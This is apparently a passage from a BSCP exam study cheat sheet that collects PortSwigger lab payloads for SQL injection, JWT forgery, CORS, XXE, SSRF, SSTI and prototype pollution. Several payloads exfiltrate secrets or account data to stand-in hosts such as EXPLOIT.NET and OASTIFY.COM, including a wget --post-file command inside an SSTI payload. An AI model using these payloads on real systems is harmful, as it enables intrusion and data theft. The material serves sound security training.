  -p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

This is also a good start with SQLMAP to identify and extract data from a sensitive error based time delay SQL injection in advance search filters on the exam.

sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP Help usage

SQLMAP DBS to get databases.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs

Use SQLMAP dump tables identified from public database.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

ContinueUse SQLMAP E Technique to get the users content.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump

Non-Oracle Manual SQLi

SQL injection UNION attack, determining the number of columns returned by the query.

'+UNION+SELECT+NULL,NULL--

Determined there is two columns returned. Finding a column containing text, to be used for reflecting information extracted.

'+UNION+SELECT+'fuzzer',NULL--

Next identifying a list of tables in the database.

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

OPTIONAL: Retrieve data from other tables, use code below payload to retrieve the contents of the users table.

'+UNION+SELECT+username,+password+FROM+users--

Retrieve the names of the columns in the users table.

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

Final step is to the dump data from the username and passwords columns.

'+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--

EXTRA: If you only have one column to extract text data, then concatenate multiple values in a single reflected output field using SQL syntax || characters from the database.

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases

Visual error-based SQLi

Adding a single quote to the end of the TrackingId cookie value, we can identify and confirm the SQL Injection based on the message in the response.

The two payloads validate administrator record is the first record, and then to retrieve the password for the Administrator account from the user table in the database, from the columns username and password.

TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
  
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;

Due to the cookie value length limit the payload is shortened by using limit 1, and the actual cookie value replace with just a letter x. SQL Injection used the CAST function.

PortSwigger Lab: Visible error-based SQL injection

JWT

JWT bypass via JWK
JWT Weak secret
JWT kid header
JWT arbitrary jku header

JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control.

JWT bypass via JWK

The burp scanner identify vulnerability in server as, JWT self-signed JWK header supported. Possible to exploit it through failed check of the provided key source.
jwk (JSON Web Key) - Provides an embedded JSON object representing the key.

Authentication bypass Exploit steps via jwk header injection:

New RSA Key
In request JWT payload, change the value of the sub claim to administrator
Select Attack, then select Embedded JWK with newly generated RSA key
Observe a jwk parameter now contain our public key, sending request result in access to admin portal

PortSwigger Lab: JWT authentication bypass via jwk header injection

JWT Weak secret

Brute force weak JWT signing key using hashcat.

hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list

Hashcat result provide the secret, to be used to generate a forged signing key.

PortSwigger JWT authentication bypass via weak signing key

JWT kid header

JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its file system.
Generate a new Symmetric Key and replace k property with the base64 null byte AA==, to be used when signing the JWT.
kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from.

JWS

{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

Payload

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

PortSwigger Lab: JWT authentication bypass via kid header path traversal

JWT arbitrary jku header

Burp scanner identified vulnerability stating the application appears to trust the jku header of the JWT found in the manual insertion point. It fetched a public key from an arbitrary URL provided in this header and attempted to use it to verify the signature.
jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch keys containing the correct key.

Exploit steps to Upload a malicious JWK Set, then Modify and sign the JWT:

Generate New RSA Key pair automatically, and ignore the size.
On the exploit server body create empty JWK { "keys": [ ] }.
Copy Public Key as JWK from the new RSA key pair generate in previous step, in between the exploit body square brackets [ paste ].
Copy kid value of generate RSA key into the /admin request JWT header kid value.
Set new jku parameter to the value of the exploit server URL https://exploit-server.net/exploit.
Change JWT payload value of the sub claim to administrator.
On the /admin request in repeat, at bottom of the JSON Web Token tab, click Sign.
On Sign option, then select the RSA signing key that was generated in the previous steps.
Send request, and gain access to admin portal.

The exploit server hosting the JWK public key content.

{ "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009",
    "n": "749eJdyiwAYYVV    <snip>   F8tsQ_zu23DhdoePay3JlYXmza9DWDw"
}
]}

PortSwigger Lab: JWT authentication bypass via jku header injection

ProtoType Pollution

Attacker add arbitrary properties to global JavaScript object prototypes, which is inherited by user-defined objects that lead to client-side DOM XSS or server-side code execution.

Client-Side Proto
Server-Side Proto
Dom Invader Enable Prototype Pollution

Client-Side Proto

A target is vulnerable to DOM XSS via client side prototype pollution. DOM Invader will identify the gadget and using a hosted payload to performing phishing directed at the victim and steal their cookie.

Exploit server Body section, host an exploit that will navigate the victim to a malicious URL.

<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

Above image show the Deliver to Victim phishing request being send.

PortSwigger Lab: Client-side prototype pollution in third-party libraries

Server-Side Proto

To identify Proto pollution, insert the follow into a JSON post request when updating a user profile information authenticated as low privileged role.
See instruction video by Trevor TJCHacking about PrivEsc via server-side prototype pollution.

"__proto__": {
    "foo":"bar"
}

Observe the isAdmin property and resend the POST update account with the __proto__ payload below to elevate our access role to Administrator.

"__proto__": {
    "isAdmin":true
}

PortSwigger Lab: Privilege escalation via server-side prototype pollution

API Testing

Exploiting a mass assignment
API Reset Password Parameter Pollution

Exploiting a mass assignment

API performing GET request and directly after a POST request and in the POST request notice additional JSON parameters in the body of response, indicate hidden parameter fields. Add hidden fields such as {"admin":true} can elevate access to higher privileged users or gain sensitive information about user.

In below lab exercise the ecommerce site have a discount parameter and adding it with value of 100 allow for the product to be free on checkout.

Privilege escalation using API endpoints hidden parameters in POST or PATCH HTTP verb request.

{
    "username": "carlos",
    "email": "carlos@exploit.com",
    "isAdminLevel": true
}

PortSwigger Lab: Exploiting a mass assignment vulnerability

API Reset Password Parameter Pollution

Notice the reset password API function uses parameter in POST body for username. To identify aditional hidden parameters for the API function insert random parameter &x=y to observe error message leaking information of positive result. URL encode the random parameter and add it to current POST body parameters username=administrator%26x=y.

Based on the response there is possible second parameter named field and reviewing the JavaScript source code there is reset_token parameter.

Adding the additional parameter field with variable reset_token in the POST request, leak the senitive information to reset password token.

Browsing to the target URL and adding the stolen reset token, and change the administrator or carlos user password to gain access.

PortSwigger Lab: Exploiting server-side parameter pollution in a query string

Access Control

JSON roleid PrivEsc
Original URL
Drop Select a role
Trace to Admin
HTB requested I remove my write-up for CPTS Skills assessments - IDOR

PrivEsc JSON RoleId

Access control to the admin interface is based on user roles, and this can lead to privilege escalation or access control (IDOR) security vulnerability.

Capture current logged in user email change email submission request and send to Intruder, then add "roleid":§32§ into the JSON body of the request, and fuzz the possible roleid value for administrator access role.

POST /my-account/change-email HTTP/1.1
Host: TARGET.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close

{
 "csrf":"u4e8f4kc84md743ka04lfos84",
 "email":"carlos@server.net",
 "roleid": 42
}

The Hitchhiker's Guide to the Galaxy answer was 42

Attacker identify the possible role ID of administrator role and then send this request with updated roleId to privilege escalate the current logged in user to the access role of administrator.

PortSwigger Lab: User role can be modified in user profile

See API Mass assignment lab exercises to alter JSON values by inserting additional fields in JSON POST data.

Drop Select a role

Escalation to administrator is sometimes controlled by a role selector GET request, by dropping the Please select a role GET request before it is presented to the user, the default role of admin is selected by back-end and access is granted to the admin portal.

PortSwigger Lab: Authentication bypass via flawed state machine

Original URL

Admin portal only accessible from internal. Identify if access control can be bypassed using header X-Original-URL, observe different response to /admin endpoint requests depending on header value.

X-Original-URL: /admin

PortSwigger Lab: URL-based access control can be circumvented

Trace to Admin

Unable to reach /admin portal, but when changing the GET request to TRACE /admin this response contain an X-Custom-IP-Authorization: header.
Use the identified header to by access control to the admin authentication.

GET /admin HTTP/2
Host: TARGET.net
X-Custom-Ip-Authorization: 127.0.0.1
Cookie: session=2ybmTxFLPlisA6GZvcw22Mvc29jYVuJm

PortSwigger Lab: Authentication bypass via information disclosure

GraphQL API

Identify GraphQL API
GraphQL Reveal Credentials
GraphQL Brute Force

Identify GraphQL API

To identify if there is hidden GraphQL API endpoint send an invalid GET request endpoint and observe message Not Found, but when sending /api the response is Query not present.

Enumeration of the GraphQL API endpoint require testing with a universal query.
Modify GET request with query as a URL parameter /api?query=query{__typename}.

The below response validate the identity of GraphQL endpoint:

{
  "data": {
	"__typename": "query"
  }
}

Check introspection, with new request URL-encoded introspection query as a query parameter.

/api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

Bypass introspection protection matching the regex filters, and modify the query to include a %0a newline character after __schema and resend.

Save the introspection response to file as graphql.json, and remove HTTP headers from the saved response file leaving only body.

On the InQL Scanner tab, load the file graphql.json and enter to scan API endpoint.
Expand scan results for the schema and find the getUser query.
In Repeater, copy and paste the getUser query as parameter and send it to the API endpoint discovered but first URL encode all characters.

Test alternative user IDs until the API confirms carlos user ID as 3.

This give you sensitive information for a user on the system such as login token, login password information, etc.

PortSwigger Lab: Finding a hidden GraphQL endpoint

GraphQL Reveal Creds

Intercept the login POST request to the target. Identify the GraphQL mutation contain the username and password.

Copy the URL of the /graphql/v1 POST request and past into the InQL Scanner tab to scan API.

There is a getUser query that returns a user's username and password. This query fetches the relevant user information via a direct reference to an id number.

Modify a request by replacing the inQL tab query value to the below discovered getuser query from scanner.
In the POST JSON body remove the operationName property and value.

Log in to the site as the administrator, and gain access to the Admin panel.

PortSwigger Lab: Accidental exposure of private GraphQL fields

GraphQL Brute Force

The login API is protected by rate limiter to protect against brute force attacks.
Sending too many incorrect login attempts to the API, rate limit protection response message response is identified.

{  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Exception while fetching data (/login) : You have made too many incorrect login attempts. Please try again in 1 minute(s)."
    }
  ],
  "data": {
    "login": null
  } }

Using the following PortSwigger JavaScript to generate a list of login combination with password wordlist as part of brute force attack that bypass rate limiting protection.

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

Using the output from the above JavaScript, and place it in the InQL tab of the login POST request POST /graphql/v1 HTTP/2, removing the operationName POST body parameter and value, before sending single request containing all possible passwords in the GraphQL query.

Response from the single POST request is one value marked true and the client login token return in response.

Replace the cookie in browser to impersonate Carlos user session.

PortSwigger Lab: Bypassing GraphQL brute force protections

CORS

Trusted insecure protocols
Null origin trusted

Trusted insecure protocols

Identify in the source code the account details are requested with AJAX request and it contains the user session cookie in the response.

Test if the application CORS configuration will allow access to sub-domains using below test header. If response include the Access-Control-Allow-Origin header with the origin reflect it is vulnerable to CORS.

Origin: http://subdomain.TARGET.NET

The target call subdomain to retrieve stock values, and the productid parameter is vulnerable to cross-site scripting (XSS).

Place code in the exploit server body and Deliver exploit to victim to steal the AJAX session token and API key. In the BSCP exam use the CORS vulnerability to steal JSON data that also include the administrator session token, and can be used to escalate privilege.

<script>
    document.location="http://stock.TARGET.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

PortSwigger Lab: CORS vulnerability with trusted insecure protocols

Null origin trusted

Identify the CORS insecure configuration by checking the AJAX response if it contains the Access-Control-Allow-Credentials, then add header Origin: null. If the null origin is reflected in the Access-Control-Allow-Origin header it is vulnerable.

Payload that may work in BSCP exam to obtain the administrator account API and session cookie data. Host on exploit server.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

PortSwigger Lab: CORS vulnerability with trusted null origin

Data Exfiltration

XXE Injections

XXE Identify
XXE Xinclude file read
XXE DTD Blind Out-of-band
XXE DTD Blind Error messages
XXE SQLi inside XML + HackVertor
XXE perform SSRF
XXE with SVG upload
HackTheBox XML External Entity Injection - Private Github

File upload or user import function on web target use XML file format. This can be vulnerable to XML external entity (XXE) injection.

Identify XML

Possible to find XXE attack surface in requests that do not contain any XML.

To Identify XXE in not so obvious parameters or requests, require adding the below and URL encode the & ampersand symbol to see the response.

%26entity;

Below the server respond with indication that XML Entities are not allowed for security reasons.

Xinclude file read

Webapp Check Stock feature use server-side XML document that is server side parsed inside XML document, and request is not constructed of the entire XML document, it is not possible to use a hosted DTD file. Injecting an XInclude statement to retrieve the contents of /home/carlos/secret file instead.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

URL encode the XXE payload before sending.

<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/hostname"/></foo>

PortSwigger Lab: Exploiting XInclude to retrieve files

DTD Blind Out-of-band

On the exploit server change the hosted file name to /exploit.dtd as the exploit file with Document Type Definition (DTD) extension, containing the following payload. The % is the Unicode hex character code for percent sign %. Parameter entities are referenced using the percent character instead of the usual ampersand.

<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://OASTIFY.COM/?x=%file;'>">
%eval;
%exfil;

Modify the file upload XML body of the request before sending to the target server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
    <user>
        <username>Carl Toyota</username>
        <email>carlos@hacked.net</email>
    </user>    
</users>

PortSwigger Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

Rabbit hole: The submit feedback and screenshot upload on feedback is not to be followed by Neo down the Matrix.

DTD Blind Error messages

Trigger XML parsing errors in such a way that the error messages contain sensitive data. If the out of band to Collaborator payload above do not work test if the target will call a exploit.dtd file with invalid reference and return response in an error message.

Hosted on exploit server the /exploit.dtd file and body contents to file:///invalid/ path.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

On the stock check XML post request insert the payload between definition and first element.

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
  <stockCheck>
    <productId>
	  1
	</productId>
	<storeId>
	  1
	</storeId>
</stockCheck>

PortSwigger Lab: Exploiting blind XXE to retrieve data via error messages

Rabbit hole: The submit feedback and screenshot upload on feedback is for Neo to follow Trinity in the Matrix.

SQL + XML + HackVertor

The combination of vulnerabilities are identified in a XML Post body and inserting mathematical expression such as 7x7 into field and observing the evaluated value. Using this type of XML and SQL injection with WAF filter bypass via encoding may allow extract of sensitive data.

$identify-math-evaluated-xml$

WAF detect attack when appending SQL query such as a UNION SELECT statement to the original store ID. Web application firewall (WAF) will block requests that contain obvious signs of a SQL injection attack.

<storeId>1 UNION SELECT NULL</storeId>

Bypass the WAF, Use Burp extension Hackvertor to obfuscate the SQL Injection payload in the XML post body.

Webapp return one column, thus need to concatenate the returned usernames and passwords columns from the users table.

<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>

Below is sample SQLi payloads to read local file, or output to another folder on target.

<@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities>  

<@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities>

PortSwigger Lab: SQL injection with filter bypass via XML encoding

SSRF - Server Side Request Forgery

SSRF blacklist filter
SSRF via Absolute GET URL + HOST Header
SSRF inside XXE
SSRF HOST Routing-based
SSRF inside HTML-to-PDF
SSRF Open Redirection
SSRF Consecutive Connection State

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended malicious exploit location URL.

SSRF attack cause the server to make a connection to internal services within the organization, or force the server to connect to arbitrary external systems, potentially leaking sensitive data. Burp scanner may detect SSRF issue as an, External service interaction (HTTP).

SSRF Sample payloads.

/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net  

stockApi=http://localhost:6566/admin  

http://127.1:6566/admin  

Host: localhost

Alternative IP representation of 127.0.0.1:

2130706433
017700000001
127.1

SSRF blacklist filter

Identify the SSRF in the stockAPI parameter, and bypass the block by changing the URL target localhost and admin endpoint to: http://127.1/%2561dmin.

Double URL encode characters in URL to Obfuscate the a to %2561, resulting in the bypass of the blacklist filter.

PortSwigger Lab: SSRF with blacklist-based input filter

Absolute GET URL + HOST SSRF

Identify SSRF flawed request parsing vulnerability by changing the HOST header to Collaborator server and providing an absolute URL in the GET request line and observe the response from the Collaborator server.

GET https://TARGET.net/
Host: OASTIFY.COM

Use the Host header to target 192.168.0.141 or localhost, and notice the response give 302 status admin interface found. Append /admin to the absolute URL in the request line and send the request. Observe SSRF response.

GET https://TARGET.net/admin/delete?csrf=cnHBVbOPl7Bptu3VCXQZh6MUYzMsEXgO&username=carlos HTTP/1.1
Host: 192.168.0.114
Cookie: session=PQcb5CMC9ECh5fBobuxSalaBdxyLis01

PortSwigger Lab: SSRF via flawed request parsing

SSRF redirect_uris

In this Server Side Request a Redirect to URI is exploited.
POST request to register data to the client application with redirect URL endpoint in JSON body. Provide a redirect_uris array containing an arbitrary white-list of callback URIs. Observe the redirect_uri.

POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206

{
"redirect_uris":["https://example.com"],
    "logo_uri" : "https://OASTIFY.COM",
	"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
	
}

PortSwigger Lab: SSRF via OpenID dynamic client registration

XXE + SSRF

Exploiting XXE to perform SSRF attacks using stock check function that obtains sensitive data.

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]>
  <stockCheck>
    <productId>
      &xxe;
    </productId>
    <storeId>
      1
    </storeId>
  </stockCheck>

PortSwigger Lab: Exploiting XXE to perform SSRF attacks

HOST Routing-based SSRF

Identify routing-based SSRF by altering the host header on request and observe the response. Routing-based SSRF via the Host header allow insecure access to a localhost Intranet.

GET / HTTP/1.1
Host: 192.168.0.§0§

Note: Once access gained to the internal server admin portal, the response indicate the form requires a POST request and CSRF token, so we convert the GET request to POST as below.

POST /admin/delete HTTP/1.1
Host: 192.168.0.135
Cookie: session=TmaxWQzsf7jfkn5KyT9V6GmeIV1lV75E
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://TARGET.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

csrf=ftU8wSm4rqdQ2iuSZUwSGmDnLidhYjUg&username=carlos

PortSwigger Lab: Routing-based SSRF

HTML to PDF

Identify a PDF download function and the source code uses JSON.stringify to create html on download. This HTML-to-PDF framework is vulnerable to SSRF attack. Partial source code for JavaScript on the target downloadReport.js.

function downloadReport(event, path, param) {

body: JSON.stringify({
  [param]: html
  }
  )

Note: The <div> tag defines a division or a section in an HTML document. The
tag is used as a container for HTML elements - which is then styled with CSS. z3nsh3ll explain HTML DIV demarcation and SPAN different ways to style the elements.

<div><p>Report Heading by <img src="https://OASTIFY.COM/test.png"></p>

Identify file download HTML-to-PDF convert function on target is vulnerable.

<script>
	document.write('<iframe src=file:///etc/passwd></iframe>');
</script>

Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF).

PortSwigger Research SSRF

Sample code below can be injected on vulnerable implementation of HTML to PDF converter such as wkhtmltopdf to read local file, resulting in SSRF to Local File Read Exploit in Hassan's blog.

Thehackerish showing wkHTMLtoPDF exploitation using root-me.org - Gemini-Pentest-v1 CTF lab in the video Pentest SSRF Ep4 by editing the name of the admin profile with HTML content it is then generated server side by including remote or local files.

<html>
 <body>
  <script>
   x = new XMLHttpRequest;
   x.onload = function() {
    document.write(this.responseText)
   };
   x.open("GET", "file:///home/carlos/secret");
   x.send();
  </script>
 </body>
</html>

JSON POST request body containing the HTMLtoPDF formatted payload to read local file.

{
 "tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
}

Above the display name is injected with HTML payload and on export the HTML-to-PDF converter perform SSRF.

The PDF creator: wkhtmltopdf 0.12.5 is known for SSRF vulnerabilities, and in HackTricks - Server Side XSS - Dynamic PDF there is cross site scripting and server side exploits documented.

SSRF Open Redirection

The target make GET request to the next product on the e-commerce site, using a path parameter. On the stockAPI POST request the value provided in body data is the partial path to internal system. See product page source code below.

The identification of this vulnerability is by testing various paths and observing the input path specified is reflected in the response Location header.

In this lab they state the admin interface is at http://192.168.0.12:8080/admin but in exam use the localhost:6566.

https://TARGET.net/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin

On the POST stock request, replace the StockAPI value with the partial path, not the absolute URL, from the nextProduct GET request URL as the value of the stockAPI parameter.

stockApi=/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin

URL-encode payload

stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d1%26path%3dhttp%253a%2f%2f192.168.0.12%253a8080%2fadmin

PortSwigger Lab: SSRF with filter bypass via open redirection vulnerability

SSTI - Server Side Template Injection

SSTI Identified
Tornado
Django
Freemarker
ERB
Handlebars

Use the web framework native template syntax to inject a malicious payload into a {{input}}, which is then executed server-side. Submitting invalid syntax will often result in error message that lead to identifying the template framework. Use PortSwigger template decision tree to aid in identification.

SSTI Identified

SSTI can be identified using the tool SSTImap. The limitations of this tool is that the template expression {{7*7}} results are sometimes only evaluated by another GET request or calling another function in the application, as the output is not directly reflected or echoed into the response where the template expression was posted.
Alternative way to identify the template framework is to induce error message by injecting malformed user supplied payloads.

Tib3rius give great SSTI explanation on this PortSwigger Web Academy labs tutorial

python /opt/SSTImap/sstimap.py --engine erb -u https://TARGET.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock --os-cmd "cat /home/carlos/secret"

POST request with the data param to test and send payload using SSTImap tool.

python /opt/SSTImap/sstimap.py -u https://TARGET.net/product/template?productId=1 --cookie 'session=StolenUserCookie' --method POST --marker fuzzer --data 'csrf=ValidCSRFToken&template=fuzzer&template-action=preview' --engine Freemarker --os-cmd 'cat /home/carlos/secret'

SSTI payloads to manually identify vulnerability.

${{<%[%'"}}%\.,
}}{{7*7}} 

{{fuzzer}}
${fuzzer}
${{fuzzer}}

${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${foobar}

{% debug %}

Tornado

Identification of tornado template framework after testing injection with }}{{ 7*7}}.

Tornado Template can be identified using a }}{{ 7*7}} payload that breakout of current expression and evaluate 7*7.

The preferred name functionality in the user account profile page is altered and on blog post comment the output displayed.

POST /my-account/change-blog-post-author-display HTTP/2
Host: TARGET.net
Cookie: session=fenXl1hfjQBgGkrcmJoK7D8RU3eHkkCd

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret')

Data extracted from the output response when reloading the blog comment previously saved by a logged in user after changing their preferred display name.

Lab: Basic server-side template injection code context

Django

Django Template uses debug tag to display debugging information.

${{<%[%'"}}%\,
{% debug %} 
{{settings.SECRET_KEY}}

PortSwigger Lab: Server-side template injection with information disclosure via user-supplied objects

Freemarker

Freemarker Template Content-Manager (C0nt3ntM4n4g3r)

${foobar}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }

PortSwigger Lab: Server-side template injection using documentation

ERB

Identify ERB template in a GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2 request that then reflects the message value in the response, Unfortunately this product is out of stock.

fuzzer${{<%[%'"}}%\<>
<%= 7*7 %>

ERB Template documentation reveals that you can list all directories and then read arbitrary files as follows:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

<%= system("cat /home/carlos/secret") %>

PortSwigger Lab: Basic server-side template injection

Handlebars

Handlebars Template can be identified by injecting below set of characters and not encoding them into the GET /?message=Unfortunately this product is out of stock parameter. SSTIMAP was not able to identify this handlebars SSTI vulnerability.

Use fuzzer payload to produce error message that identify handlebars template engine.

fuzzer${{<%[%'"}}%\,<>

URL encoding the payload, it is not required to remove newline breaks or spaces. The payload will send the contents of /home/carlos/secret to Burp Collaborator.

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('wget https://OASTIFY.COM --post-file=/home/carlos/secret');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

PortSwigger Lab: Server-side template injection in an unknown language

PortSwigger Research SSTI

Note: Identify the Update forgot email template message under the admin_panel at the path /update_forgot_email.

SSPP - Server Side Prototype Pollution

The application run Node.js and the Express framework. It is vulnerable to server-side prototype pollution (SSPP) because it unsafely merges user-controllable input into a server-side JavaScript object.

SSPP Exploit steps:

Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
Identify a gadget that you can use to inject and execute arbitrary system commands.
Trigger remote execution of a command that deletes the file /home/carlos/morale.txt.

Identify prototype pollution

"__proto__": {
    "json spaces":10
}

